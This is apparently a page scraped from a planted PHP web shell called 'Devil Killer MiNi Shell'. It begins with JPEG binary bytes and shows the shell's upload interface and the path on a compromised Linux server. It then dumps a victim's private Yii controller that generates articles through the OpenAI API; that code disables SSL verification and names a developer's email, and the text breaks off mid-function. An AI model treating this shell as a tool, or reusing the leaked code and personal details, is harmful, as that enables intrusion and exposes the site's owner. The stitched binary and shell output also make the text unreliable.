JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/OpenAiController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use yii\console\ExitCode;
use common\models\ConsoleScriptsSettings;

class OpenAiController extends Controller
{    
    use \common\components\traits\DirectoriesFunctions;
    
    public $idTask;
    
    public function options($actionID)
    {
        switch($actionID) {
            case 'generate-article':
                return ['idTask'];
            case 'generate-presentation-description':
                return ['idTask'];
            case 'generate-product-description':
                return ['idTask'];
            default:
                return [];
        }
    }
    
    //@todo zostawiamy na razie jako kopię - zmieniliśmy mechanizm, aby podmieniał kilkukrotnie wystąpienie markera
//    protected function replaceCommandPart(&$command, $marker, $value)
//    {
//        $conditionStart = '{{{IF '.$marker.'}}}';
//        $conditionEnd = '{{{ENDIF}}}';
//        
//        $lengthOfConditionStart = mb_strlen($conditionStart);
//        $lengthOfConditionEnd = mb_strlen($conditionEnd);
//        
//        $positionOfConditionStart = mb_strpos($command, $conditionStart);
//        
//        
//        $parsedValue = is_array($value) ? implode(', ', $value) : (string)$value; 
//        
//        if($positionOfConditionStart !== false) {            
//            $positionOfConditionEnd = mb_strpos($command, $conditionEnd, $positionOfConditionStart); 
//            if(empty($value)) {                
//                //wywalamy cały warunek      
//                $partStart = mb_substr($command, 0, $positionOfConditionStart);
//                $partEnd = mb_substr($command, $positionOfConditionEnd + $lengthOfConditionEnd);  
//                $command = trim($partStart).' '.trim($partEnd);
//            } else {                
//                //podmieniamy $marker oraz wywalamy placeholdery warunku     
//                $partStart = mb_substr($command, 0, $positionOfConditionStart);
//                $partEnd = mb_substr($command, $positionOfConditionEnd + $lengthOfConditionEnd);                
//                $start = $positionOfConditionStart + $lengthOfConditionStart;
//                $length = $positionOfConditionEnd - ($positionOfConditionStart + $lengthOfConditionStart);                
//                $partMiddle = trim(mb_substr($command, $start, $length));
//                $partMiddle = str_replace($marker, $parsedValue, $partMiddle);
//                $command = trim($partStart).' '.trim($partMiddle).' '.trim($partEnd);
//                
//            }
//        } else {
//            //mamy ewentualnie sam marker do podmiany
//            $command = str_replace($marker, $parsedValue, $command);
//        }
//    }
    
    protected function replaceCommandPart(&$command, $marker, $value)
    {
        $conditionStart = '{{{IF '.$marker.'}}}';
        $conditionEnd = '{{{ENDIF}}}';
        
        $lengthOfConditionStart = mb_strlen($conditionStart);
        $lengthOfConditionEnd = mb_strlen($conditionEnd);
        
        $parsedValue = is_array($value) ? implode(', ', $value) : (string)$value; 
        
        while(1) {
            $positionOfConditionStart = mb_strpos($command, $conditionStart);         
            if($positionOfConditionStart !== false) {            
                $positionOfConditionEnd = mb_strpos($command, $conditionEnd, $positionOfConditionStart); 
                if(empty($value)) {                
                    //wywalamy cały warunek      
                    $partStart = mb_substr($command, 0, $positionOfConditionStart);
                    $partEnd = mb_substr($command, $positionOfConditionEnd + $lengthOfConditionEnd);  
                    $command = trim($partStart).' '.trim($partEnd);
                } else {                
                    //podmieniamy $marker oraz wywalamy placeholdery warunku     
                    $partStart = mb_substr($command, 0, $positionOfConditionStart);
                    $partEnd = mb_substr($command, $positionOfConditionEnd + $lengthOfConditionEnd);                
                    $start = $positionOfConditionStart + $lengthOfConditionStart;
                    $length = $positionOfConditionEnd - ($positionOfConditionStart + $lengthOfConditionStart);                
                    $partMiddle = trim(mb_substr($command, $start, $length));
                    $partMiddle = str_replace($marker, $parsedValue, $partMiddle);
                    $command = trim($partStart).' '.trim($partMiddle).' '.trim($partEnd);

                }
            } elseif(mb_strpos($command, $marker) !== false) {
                //mamy sam marker do podmiany
                $command = str_replace($marker, $parsedValue, $command);
            } else {
                break;
            }
        }
    }
    
    protected function cutUnnecessaryTags(&$content, $markerStart, $markerEnd)
    { 
        $positionOfMarkerStart = mb_strpos($content, $markerStart);        
        if($positionOfMarkerStart !== false) { 
            $lengthOfMarkerEnd = mb_strlen($markerEnd);
            $positionOfMarkerEnd = mb_strpos($content, $markerEnd, $positionOfMarkerStart); 
            
            $partStart = mb_substr($content, 0, $positionOfMarkerStart);
            $partEnd = mb_substr($content, $positionOfMarkerEnd + $lengthOfMarkerEnd);  
            
            $content = trim($partStart).' '.trim($partEnd);
        } 
    }
    
    public function actionTest()
    {
//        $text = 'Wybierz ALNOR® Systemy Wentylacji i buduj swój sukces razem z nami.
//                {start title} ALNOR® Systemy Wentylacji - kompletny system przewodów wentylacyjnych {stop title}
//                {start keyword} Alnor, FLX REKU, wentylacja domowa, systemy wentylacji {stop keyword}
//                Więcej informacji znajdziesz na stronie https://wentylacja.biz/produkty/szczegoly/9428_wentylacja-domowa-flx-reku';
//        
//        $this->cutUnnecessaryTags($text, '{start title}', '{stop title}');
//        $this->cutUnnecessaryTags($text, '{start keyword}', '{stop keyword}');
        
        $text = ' {{{IF ###KEYWORDS###}}}Tworząc artykuł, możesz użyć następujących słów kluczowych: ###KEYWORDS### .{{{ENDIF}}}'
                . 'Jeżeli przerwiesz pisanie i poproszę abyś kontynuowała dalej to nie pytaj się o czym masz pisać, pisz dalej na temat artykułu i stosuj się do instrukcji, które Tobie podałem. '
                . '{{{IF ###KEYWORDS###}}}Jeszcze raz słowa kluczowe... ###KEYWORDS### .{{{ENDIF}}} a po chwili: ###KEYWORDS###';
        
        $this->replaceCommandPart($text, '###KEYWORDS###', 'dupa dupa dupa');
        
        $this->stdout($text);
    }
    
    public function actionGenerateArticle()
    {
        $consoleScriptSettings = ConsoleScriptsSettings::findOne(ConsoleScriptsSettings::KEY_OPENAI);
        if(empty($consoleScriptSettings)) {
            $this->stderr('Brak ustawien dla wybranej funkcjonalności.');
            return ExitCode::CONFIG;
        }
        
        if(intval($consoleScriptSettings->getSettingsKey('enabled')) === 0) {
            return ExitCode::OK;
        }
        
        $model = \common\models\TasksGeneratingArticles::find()
                ->orderBy('created_at ASC')
                ->where([
                    'status' => \common\models\types\TaskOpenAIStatus::WAITING
                ])
                ->andFilterWhere(['_id' => $this->idTask])
                ->limit(1)
                ->one();
        
        if(empty($model)) {
            if(intval($consoleScriptSettings->getSettingsKey('notification_about_no_task')) === 1) {
                $this->stdout('Brak zadan do wykonania.');
            }            
            return ExitCode::OK;
        }
        
        $numberOfWords = $model->number_of_words;
        $numberOfKeywords = $model->number_of_keywords;
        
        $modelCompany = null;
        $modelProduct = null;
        $modelArticle = null;
        
        $productDescription = null;
        $aboutCompanyDescription = null;
        $offerDescription = null;
        $keywords = !empty($model->source_tags) ? $model->source_tags : [];
        $companyLink = null;
        $productLink = null;
        
        if(!empty($model->id_company)) {
            $modelCompany = \common\models\Companies::findOne(intval($model->id_company));
            if(empty($modelCompany)) {
                $model->error_message = 'Wybrana firma nie istnieje.';
                $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
                $model->save(false);

                $this->stdout('Brak danych niezbednych do wykonania zadania.');
                return ExitCode::OK;
            }

            if(!empty($model->id_product)) {
                $modelProduct = $modelCompany->getProducts()->andWhere(['id_product' => $model->id_product])->one();
            }
            
            $modelCompanyPresentation = $this->findCompanyPresentationModel($modelCompany, $model->ids_portals);
            if(!empty($modelCompanyPresentation)) {
                if(!empty($modelCompanyPresentation->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]->page)) {
                    $aboutCompanyDescription = strip_tags($modelCompanyPresentation->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]->page->content);
                } elseif(!empty($modelCompanyPresentation->companiesTabs[\common\models\PresentationsTabs::TAB_OFFER]->page)) {
                    $offerDescription = strip_tags($modelCompanyPresentation->companiesTabs[\common\models\PresentationsTabs::TAB_OFFER]->page->content);
                } 

                $webProtocol = $modelCompanyPresentation->portal->getSettingsKey('or_ssl') === 1 ? 'https' : 'http';
                $companyLink = $webProtocol.'://'.$modelCompanyPresentation->portal->domain.'/firmy/dane-kontaktowe/'.$modelCompanyPresentation->id_presentation.'_'.\frontend\components\helpers\SlugGenerator::generate($modelCompany->name);
            } 

            if(!empty($modelProduct)) {
                $productDescription = !empty($modelProduct->description_plaintext) ? $modelProduct->description_plaintext : strip_tags($modelProduct->description);
                $productLink = $this->findLinkForProduct($modelProduct, $modelCompany, $model->ids_portals, !empty($modelCompanyPresentation) ? $modelCompanyPresentation : null);
            }
        }
        
        if(!empty($model->id_article)) {
            $modelArticle = \common\models\Articles::findOne(intval($model->id_article));
        }
        
        if(empty($model->source_tags)) {
            if(!empty($modelProduct)) {
                $tags = $modelProduct->getTags()->orderBy('quantity DESC')->select('name')->column();
                $keywords = !empty($tags) ? implode(', ', $tags) : [];
            } elseif(!empty($modelCompanyPresentation)) {
                $tags = $modelCompanyPresentation->getTags()->orderBy('quantity DESC')->select('name')->column();
                $keywords = !empty($tags) ? implode(', ', $tags) : [];
            } else {
                $keywords = [];
            }
        } else {
            $keywords = $model->source_tags;
        } 
        
        $command = $model->command_content;
        
        $this->replaceCommandPart($command, '###NUMBER_OF_WORDS###', $numberOfWords);
        $this->replaceCommandPart($command, '###NUMBER_OF_OUTPUT_KEYWORDS###', $numberOfKeywords);
        $this->replaceCommandPart($command, '###TITLE###', $model->output_title);
        $this->replaceCommandPart($command, '###COMPANY_NAME###', !empty($modelCompany) ? $modelCompany->name : null);        
        $this->replaceCommandPart($command, '###COMPANY_LOCALITY###', !empty($modelCompany) ? $modelCompany->locality : null);
        $this->replaceCommandPart($command, '###PRODUCT_NAME###', !empty($modelProduct) ? $modelProduct->name : null);
        $this->replaceCommandPart($command, '###PRODUCT_DESCRIPTION###', $productDescription);
        $this->replaceCommandPart($command, '###ABOUT_COMPANY###', $aboutCompanyDescription);
        $this->replaceCommandPart($command, '###OFFER###', $offerDescription);
        $this->replaceCommandPart($command, '###ARTICLE_CONTENT###', !empty($modelArticle) ? strip_tags($modelArticle->content) : null);
        $this->replaceCommandPart($command, '###KEYWORDS###', $keywords);
        
//        file_put_contents(Yii::getAlias('@runtime/temp/openai_command.txt'), $command);
        $model->parsed_command = $command;
//        $this->stdout($command."\n"); exit;
        
        $response = '';
        list($orFinish, $responsePart, $errorMessage) = $this->makeCurl([['role' => 'user', 'content' => $command]], 2000);
        $response .= $responsePart;  

        $numberOfAttempts = 0;
        while(empty($errorMessage) && !$orFinish && $numberOfAttempts <= 6) {
            $numberOfAttempts++;
            
            $this->stdout('Prosimy o kontynuowanie.');
            
            list($orFinish, $responsePart, $errorMessage) = $this->makeCurl([['role' => 'user', 'content' => 'Please keep writing.']], 2000);
            $response .= $responsePart;
        }
        
        if(!empty($errorMessage)) {
            $model->error_message = 'API error: '.$errorMessage;
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            $this->stderr('API error: '.$errorMessage);
            return ExitCode::CANTCREAT;
        }
        
//        file_put_contents(Yii::getAlias('@runtime/temp/openai_response.txt'), $response);
        $model->raw_response = $response;
        
        list($articleContent, $articleTags, $articleTitle) = $this->extractPartsForArticle($response); 
        
        if(!empty($model->output_title)) {
            $articleTitle = $model->output_title;
        }
        
        if(!empty($model->output_tags)) {
            $articleTags = $model->output_tags;
        }
        
        if(empty($articleContent) || empty($articleTitle) || empty($articleTags)) {
            $model->error_message = 'Nie udało się otrzymać niezbędnych danych dla utworzenia artykułu.';
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            
            $this->sendMailsArticleNotCreated($model);
            
            $this->stderr('Nie udalo sie otrzymac niezbednych danych dla utworzenia artykulu.');
            return ExitCode::CANTCREAT;
        }

//        var_dump($articleTitle, $articleContent, $articleTags);
//        exit;
        
        $modelNewArticle = $this->createArticle($model, $articleTitle, $articleContent, $articleTags, $modelCompany, $modelProduct, $modelArticle, $companyLink, $productLink);
        if(empty($modelNewArticle)) {
            $model->error_message = 'Błąd podczas zapisu artykułu.';
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            
            $this->sendMailsArticleNotCreated($model);
            
            $this->stderr('Blad podczas zapisu artykulu.');
            return ExitCode::CANTCREAT;
        } 
        
        $model->status = \common\models\types\TaskOpenAIStatus::OK;
        $model->output_id_article = $modelNewArticle->id_article;
        $model->save(false);
        
        $this->sendMailsArticleCreatedSuccessfully($model, $modelNewArticle);
        
        if(intval($consoleScriptSettings->getSettingsKey('notification_about_completed_task')) === 1) {
            $this->stdout('Poprawnie zapisano artykul.');
        }
        
        return ExitCode::OK;
    }
    
    protected function sendMailsArticleCreatedSuccessfully($modelTask, $modelArticle)
    {
        if(empty($modelTask->emails)) {
            return true;
        }
        
        //wysyłamy e-mail z informacją o nowo utworzonym za pomocą OpenAI artykule (###MAIL_79###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_new_article_created_by_openai_html',
                    'text' => 'notify_about_new_article_created_by_openai_text'
                ],
                [
                    'modelArticle' => $modelArticle,
                    'modelTask' => $modelTask,
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo((array)$modelTask->emails)
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Artykuł został utworzony [{id}]: {title}', ['id' => $modelArticle->id_article, 'title' => $modelArticle->title]))
            ->send();
        
        return $flag;
    }
    
    protected function sendMailsArticleNotCreated($modelTask)
    {
        if(empty($modelTask->emails)) {
            return true;
        }
        
        //wysyłamy e-mail z informacją o braku możliwości / błędzie podczas tworzenia artykułu za pomocą OpenAI (###MAIL_82###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_issues_with_creating_article_by_openai_html',
                    'text' => 'notify_about_issues_with_creating_article_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo((array)$modelTask->emails)
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Artykuł nie został został utworzony [{id}]: {label}', ['id' => (string)$modelTask->_id, 'label' => $modelTask->label]))
            ->send();
        
        return $flag;
    }
    
    protected function findCompanyPresentationModel($modelCompany, $idsPortals)
    {
//        $packagesPriorities = $this->getPackagesPriorities();
        
//        $selectedModelPresentation = null;
        
//        $modelPresentations = $modelCompany->getPresentations()->where(['id_portal' => $idsPortals])->all();
//        if(empty($modelPresentations)) {
//            $modelPresentations = $modelCompany->getPresentations()
//                    ->with([
//                        'companiesTabs' => function($q) {
//                            $q->andWhere(['id_tab' => [\common\models\PresentationsTabs::TAB_ABOUT_COMPANY, \common\models\PresentationsTabs::TAB_OFFER]]);
//                            $q->indexBy('id_tab');
//                            $q->with([
//                                'page' => function($q2) {
//                                    $q2->select(['id_company_tab', 'lead', 'content']);
//                                }
//                            ]);
//                        }
//                    ])->all();
//        }
        
        $queryForAllPortals = $modelCompany->getPresentations()
            ->with([
                'companiesTabs' => function($q) {
                    $q->andWhere(['id_tab' => [\common\models\PresentationsTabs::TAB_ABOUT_COMPANY, \common\models\PresentationsTabs::TAB_OFFER]]);
                    $q->indexBy('id_tab');
                    $q->with([
                        'page' => function($q2) {
                            $q2->select(['id_company_tab', 'lead', 'content']);
                        }
                    ]);
                }
            ]);
        
        $queryForSpecifiedPortals = clone $queryForAllPortals;
        $queryForSpecifiedPortals->where(['id_portal' => $idsPortals]);
        
        $modelsPresentations = $queryForSpecifiedPortals->all();
        if(empty($modelsPresentations)) {
            $modelsPresentations = $queryForAllPortals->all();
        }            
            
        if(empty($modelsPresentations)) {
            return null;
        }
        
        return $this->selectBestCompanyPresentation($modelsPresentations);
        
//        foreach($modelsPresentations as $modelPresentation) {
//            if(
//                empty($selectedModelPresentation) 
//                || ($selectedModelPresentation->status !== \common\models\types\Status::ACTIVE && $modelPresentation->status === \common\models\types\Status::ACTIVE)
//                || ($packagesPriorities[$modelPresentation->id_package] > $packagesPriorities[$selectedModelPresentation->id_package])
//            ) {
//                $selectedModelPresentation = $modelPresentation;
//            }
//        }
//        
//        return $selectedModelPresentation;
    }
    
    protected function findLinkForProduct($modelProduct, $modelCompany, $idsPortals, $modelCompanyPresentation = null)
    {
        $idsPortalsFromProduct = $modelProduct->getCategories()->select(['id_portal'])->distinct()->column();
        $commonIdsPortals = array_values(array_intersect($idsPortals, $idsPortalsFromProduct));
        
        $modelPortal = null;
        if(!empty($modelCompanyPresentation) && in_array($modelCompanyPresentation->id_portal, $idsPortalsFromProduct)) {
            $modelPortal = $modelCompanyPresentation->portal;
        } 
        
        if(empty($modelPortal) && !empty($commonIdsPortals)) {
            if(count($commonIdsPortals) === 1) {
                $modelPortal = \common\models\Portals::findOne($commonIdsPortals[0]);
            } else {
                $modelsPresentations = $modelCompany->getPresentations()->where(['id_portal' => $commonIdsPortals])->all();
                if(!empty($modelsPresentations)) {
                    $modelPortal = $this->selectBestCompanyPresentation($modelsPresentations)->portal;
                }
            }
        }
        
        if(empty($modelPortal)) {
            if(count($idsPortalsFromProduct) === 1) {
                $modelPortal = \common\models\Portals::findOne($idsPortalsFromProduct[0]);
            } else {
                $modelsPresentations = $modelCompany->getPresentations()->where(['id_portal' => $idsPortalsFromProduct])->all();
                if(!empty($modelsPresentations)) {
                    $modelPortal = $this->selectBestCompanyPresentation($modelsPresentations)->portal;
                }
            }
        }
        
        if(empty($modelPortal)) {
            return null;
        }
        
        $webProtocol = $modelPortal->getSettingsKey('or_ssl') === 1 ? 'https' : 'http';
        
        return $webProtocol.'://'.$modelPortal->domain.'/produkty/szczegoly/'.$modelProduct->id_product.'_'.\frontend\components\helpers\SlugGenerator::generate($modelProduct->name);
    }
    
    protected function selectBestCompanyPresentation($modelsPresentations)
    {
        $packagesPriorities = [
            \common\models\PresentationsPackages::PACKAGE_STARTER => 1,
            \common\models\PresentationsPackages::PACKAGE_BASIC => 2,
            \common\models\PresentationsPackages::PACKAGE_STANDARD => 3,
            \common\models\PresentationsPackages::PACKAGE_STANDARD_PLUS => 4,
            \common\models\PresentationsPackages::PACKAGE_PREMIUM => 5,
            \common\models\PresentationsPackages::PACKAGE_CUSTOM => 5,
            \common\models\PresentationsPackages::PACKAGE_EXCLUSIVE => 6,
        ];
        
        $selectedModelPresentation = null;
        foreach($modelsPresentations as $modelPresentation) {
            if(
                empty($selectedModelPresentation) 
                || ($selectedModelPresentation->status !== \common\models\types\Status::ACTIVE && $modelPresentation->status === \common\models\types\Status::ACTIVE)
                || ($packagesPriorities[$modelPresentation->id_package] > $packagesPriorities[$selectedModelPresentation->id_package])
            ) {
                 $selectedModelPresentation = $modelPresentation;
            }
        }
        
        return $selectedModelPresentation;
    }
    
    protected function extractPartsForArticle($data)
    {
        $content = $this->extractDataPart($data, '{start article}', '{stop article}');        
        if(empty($content)) {
            return [$data, [], null];
        }        
        $this->cutUnnecessaryTags($content, '{start title}', '{stop title}');
        $this->cutUnnecessaryTags($content, '{start keyword}', '{stop keyword}');

        $tags = [];
        $tagsAsString = $this->extractDataPart($data, '{start keyword}', '{stop keyword}');
        if(!is_null($tagsAsString)) {
            $tags = array_map('trim', explode(',', $tagsAsString));
        }
        
        $title = $this->extractDataPart($data, '{start title}', '{stop title}');
        
        return [$content, $tags, $title];
    }
    
    protected function extractDataPart($content, $startMarker, $endMarker)
    {
        $positionOfStartMarker = mb_strpos($content, $startMarker);
        $positionOfEndMarker = mb_strpos($content, $endMarker);
        
        if($positionOfStartMarker === false || $positionOfEndMarker === false) {
            return null;
        }
        
        $lengthOfStartMaker = mb_strlen($startMarker);
        $start = $positionOfStartMarker + $lengthOfStartMaker;
        $length = $positionOfEndMarker - ($positionOfStartMarker + $lengthOfStartMaker);
        
        return trim(mb_substr($content, $start, $length));
    }
    
    protected function makeCurl($input, $maxTokens = 100)
    {  
        $curl = curl_init();
        
//        $url = 'https://api.openai.com/v1/completions';
        $url = 'https://api.openai.com/v1/chat/completions';
        
        $data = [
//            'model' => 'text-davinci-003',
            'model' => 'gpt-3.5-turbo',
//            'prompt' => $input,
            'messages' => $input,
            'temperature' => 0.5,
            'max_tokens' => $maxTokens,
            'top_p' => 1.0,
            'frequency_penalty' => 0.0,
            'presence_penalty' => 0.0
        ];
        
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));
        curl_setopt($curl, CURLOPT_ENCODING, 'UTF-8');
        curl_setopt($curl, CURLOPT_HTTPHEADER, [
            'Content-Type: application/json',
            'Authorization: Bearer '.Yii::$app->params['openAIApiKey']
        ]);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0');
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        
        $result = curl_exec($curl);
        
        curl_close($curl);
        
        $decodedResult = json_decode($result, true); 
        
//        ini_set('xdebug.var_display_max_depth', 99);
//        var_dump($decodedResult['choices'][0]['finish_reason']); 
        
        $content = !empty($decodedResult['choices'][0]['message']['content']) ? $decodedResult['choices'][0]['message']['content'] : null;
        $orFinish = (!empty($decodedResult['choices'][0]['finish_reason']) && $decodedResult['choices'][0]['finish_reason'] === 'length') ? false : true;
        $error = !empty($decodedResult['error']['message']) ? $decodedResult['error']['message'] : null;
        
        return [$orFinish, $content, $error];
    }
    
    protected function createArticle($modelTask, $title, $content, $keywords, $modelCompany = null, $modelProduct = null, $modelArticle = null, $companyLink = null, $productLink = null)
    {
        $parsedContent = implode('', array_map(function($part) { return '<p>'.trim($part).'</p>'; }, preg_split("/\r\n|\n\n/", $content)));
        
        if(!empty($modelTask->attached_content)) {
            $attachedContent = $modelTask->attached_content;            
            $this->replaceCommandPart($attachedContent, '###COMPANY_LINK###', !empty($companyLink) ? '<a href="'.$companyLink.'">'.$companyLink.'</a>' : '');
            $this->replaceCommandPart($attachedContent, '###PRODUCT_LINK###', !empty($productLink) ? '<a href="'.$productLink.'">'.$productLink.'</a>' : '');            
            $parsedContent .= '<p>'.$attachedContent.'</p>';
        }
        
        $annotations = 'Artykuł wygenerowany przez OpenAI'."\n\n";
        if(!empty($modelCompany)) {
            $annotations .= 'Wygenerowany dla firmy '.\yii\helpers\Html::encode($modelCompany->name).' ['.$modelCompany->id_company.']'."\n\n";
        }
        if(!empty($modelProduct)) {
            $annotations .= 'Wygenerowany dla produktu  '.\yii\helpers\Html::encode($modelProduct->name).' ['.$modelProduct->id_product.']'."\n\n";
        }
        if(!empty($modelArticle)) {
            $annotations .= 'Wygenerowany dla artykułu  '.\yii\helpers\Html::encode($modelArticle->title).' ['.$modelArticle->id_article.']'."\n\n";
        }

        $modelNewArticle = new \common\models\Articles(['scenario' => 'create']);
        
        if($modelArticle) {
            $modelNewArticle->attributes = $modelArticle->attributes;
            $modelNewArticle->created_at = null;
            $modelNewArticle->updated_at = null;
        } else {
            $modelNewArticle->id_company = $modelTask->id_company;
        }        
        
        $modelNewArticle->title = $title;
        $modelNewArticle->lead = \yii\helpers\StringHelper::truncate($content, 300);
        $modelNewArticle->content = $parsedContent;
        $modelNewArticle->publication_datetime = date("Y-m-d H:i");
        $modelNewArticle->annotations = $annotations;
        $modelNewArticle->status = \common\models\types\Status::HIDDEN;
        $modelNewArticle->acceptance_status = \common\models\types\AcceptanceStatus::TO_CORRECT;
        
        $sourceImagePath = null;
        if($modelArticle) {
            if(!empty($modelArticle->image_filename)) {
                $modelNewArticle->image_filename = $modelArticle->image_filename;  
                $modelNewArticle->image_transform = !empty($modelArticle->image_transform) ? $modelArticle->image_transform : \common\models\types\ImageTransform::FRAME;
            }
        }
        if(empty($modelNewArticle->image_filename) && $modelProduct) {            
            if(!empty($modelProduct->image_filename)) {
                $fileInfo = pathinfo($modelProduct->getImageUrl());            
